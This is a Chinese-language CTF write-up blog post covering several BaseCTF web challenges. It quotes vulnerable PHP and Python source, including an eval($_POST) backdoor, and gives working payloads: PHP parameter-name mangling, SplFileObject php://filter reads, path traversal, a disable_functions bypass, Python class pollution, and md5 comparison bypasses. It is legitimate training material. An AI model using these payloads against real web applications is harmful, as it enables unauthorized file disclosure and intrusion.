Gentle_knife's Studio.

BaseCTF-Web部分题解

Word count: 1.7kReading time: 8 min
2025/08/05
loading

记录一下有意思的题,查漏补缺。

1z_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
highlight_file('index.php');
# 我记得她...好像叫flag.php吧?
$emp=$_GET['e_m.p'];
$try=$_POST['try'];
if($emp!="114514"&&intval($emp,0)===114514)
{
for ($i=0;$i<strlen($emp);$i++){
if (ctype_alpha($emp[$i])){
die("你不是hacker?那请去外场等候!");
}
}
echo "只有真正的hacker才能拿到flag!"."<br>";

if (preg_match('/.+?HACKER/is',$try)){
die("你是hacker还敢自报家门呢?");
}
if (!stripos($try,'HACKER') === TRUE){
die("你连自己是hacker都不承认,还想要flag呢?");
}

$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
if(stripos($b,'php')!==0){
die("收手吧hacker,你得不到flag的!");
}
echo (new $a($b))->$c();
}
else
{
die("114514到底是啥意思嘞?。?");
}
# 觉得困难的话就直接把shell拿去用吧,不用谢~
$shell=$_POST['shell'];
eval($shell);
?>

在给参数传值时,如果参数名中存在非法字符,比空格和点,则参数名中的点和空格等非法字符都会被替换成下划线。并且,在PHP8之前,如果参数中出现中括号 [ ,那么中括号会被转换成下划线 _ ,但是会出现转换错误,导致如果参数名后面还存在非法字符,则不会继续转换成下划线。也就是说,我们可以刻意拼接中括号制造这种错误,来保留后面的非法字符不被替换,因为中括号导致只会替换一次。
因此我们可以通过构造e[m.p来传参,这里可以通过八进制来绕过,同时这里的八进制也可以绕过后面的ctype_alpha($emp[$i]),它要求均为数字
?e[m.p=0337522

遇见传参里有 _ 的,第一个需要传[

这里绕过 hacker 需要在前面发一百万个字符

读到 flag 需要用 PHP 原生类

1
echo (new SplFileObject('php://filter/read=convert.base64-encode/resource=flag.php'))->__toString();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = 'http://gz.imxbt.cn:20624/'
params = {
"e[m.p" : "114514.1",
"a" : "SplFileObject",
"b" : "php://filter/read=convert.base64-encode/resource=flag.php",
"c" : "__toString"

}
a = "very" * 250000 + "114514HACKER"
data = {
"try": a
}
response = requests.post(url, data=data, params=params)
print(response.text)

BaseCTF一些值得一提☞web题的wp - Meteor_Kai - 博客园

过滤个不停

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
highlight_file(__FILE__);
error_reporting(0);

$incompetent = $_POST['incompetent'];
$Datch = $_POST['Datch'];

if ($incompetent !== 'HelloWorld') {
die('写出程序员的第一行问候吧!');
}

//这是个什么东东???
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];
$is_valid = true;

foreach ($required_chars as $char) {
if (strpos($Datch, $char) === false) {
$is_valid = false;
break;
}
}

if ($is_valid) {

$invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];

foreach ($invalid_patterns as $pattern) {
if (stripos($Datch, $pattern) !== false) {
die('此路不通换条路试试?');
}
}


include($Datch);
} else {
die('文件名不合规 请重试');
}
?>

就记录怎么利用怎么用这个 include,马后炮一下,这里可以日志注入和路劲穿越。

日志注入

Datch 有“字符白名单”:

1
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];
  • Datch 必须同时包含 s, e, v, a, n, x, r, o。
  • 看起来很奇怪,但组合一下你会发现:
    • /var/log/nginx/access.log
    • 这些字母全在 /var/log/nginx/access.log 里面。
  • 明显是“引导选手去包含日志文件”

常规LFI利用方法:php://filterdata://expect://都被ban了。只剩“文件包含真实文件路径”这种利用方式。

不要以为这里被过滤了,其实没有,直接打。

路径穿越

Datch=esvanxro%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fflag

EZ_PHP_Jail

当 php 版本⼩于 8 时,GET 请求的参数名含有 . ,会被转为 _ ,但是如果参数名中有 [ ,这

个 [ 会被直接转为 _ ,但是后⾯如果有 . ,这个 . 就不会被转为 _ 。

题目里面disable_functions有 exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,readfile,require,require_once,include,include_once,file

最后用了highlight_file(glob("/f*")[0]);绕过,用 glob() 枚举根目录文件名用 highlight_file() 读取内容

圣钥之战1.0

  • Python 对象污染(Object Pollution)
  • 魔改内置变量,改变全局环境变量

{

init“: {

"__globals__": {

  "__file__": "/flag"

}

}

}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@app.route('/read', methods=['GET', 'POST'])
def Read():
file = open(__file__, encoding="utf-8").read()
return f"J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
{file}
"

@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
if request.is_json:
merge(json.loads(request.data),instance)
else:
return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"

  • instance 是一个空类实例,
  • 你赋予了 instance.__init__.__globals__.__file__ 属性,
  • Python 执行 open(__file__) 访问全局变量时,被这个“污染”改写了,导致读取了 /flag
  • __file__ 是 Python 里的一个变量,通常表示当前运行的代码文件路径。
  • 你通过 /polluteinstance 对象“污染”了,让它带了一个叫 __init__ 的属性,这个属性又有个叫 __globals__ 的属性,里面又带了 __file__ 这个变量,值是 "/flag"
  • /read 里执行 open(__file__) 的时候,Python 找到这个被污染的 __file__ 变量,结果打开了 "/flag" 文件,而不是当前代码文件。
  • 这样你就能读到 flag 了。

flag直接读取不就行了?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
echo($f . '<br>');
}
echo new $J1ng($Hong);
?>

$dir = new $Keng($Wang);

这里使用了 动态类名实例化,$Keng 变量的值作为类名,$Wang 作为构造函数参数。

例如,如果你传入 ?K=DirectoryIterator&W=.,这行代码就等价于:

$dir = new DirectoryIterator(‘.’);

这会打开当前目录 . 并遍历其中的文件。

J=SplFileObject

H=php://filter/read=convert.base64-encode/resource=/secret/f11444g.php

echo new SplFileObject(‘php://filter/read=convert.base64-encode/resource=/secret/f11444g.php’);

SplFileObject 用法

1
2
$file = new SplFileObject('test.txt');
echo $file;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if (isset($_GET['name']) && isset($_POST['password']) && isset($_GET['name2']) && isset($_POST['password2']) ){
$name = $_GET['name'];
$name2 = $_GET['name2'];
$password = $_POST['password'];
$password2 = $_POST['password2'];
if ($name != $password && md5($name) == md5($password)){
if ($name2 !== $password2 && md5($name2) === md5($password2)){
echo $flag;
}
else{
echo "再看看啊,马上绕过嘞!";
}
}
else {
echo "错啦错啦";
}

}
else {

http://gz.imxbt.cn:20445/?name2[]=1&name=QNKCDZO

CATALOG
  1. 1. 1z_php
  2. 2. 过滤个不停
    1. 2.1. 日志注入
    2. 2.2. 路径穿越
  3. 3. EZ_PHP_Jail
  4. 4. 圣钥之战1.0
  5. 5. flag直接读取不就行了?
    1. 5.1. SplFileObject 用法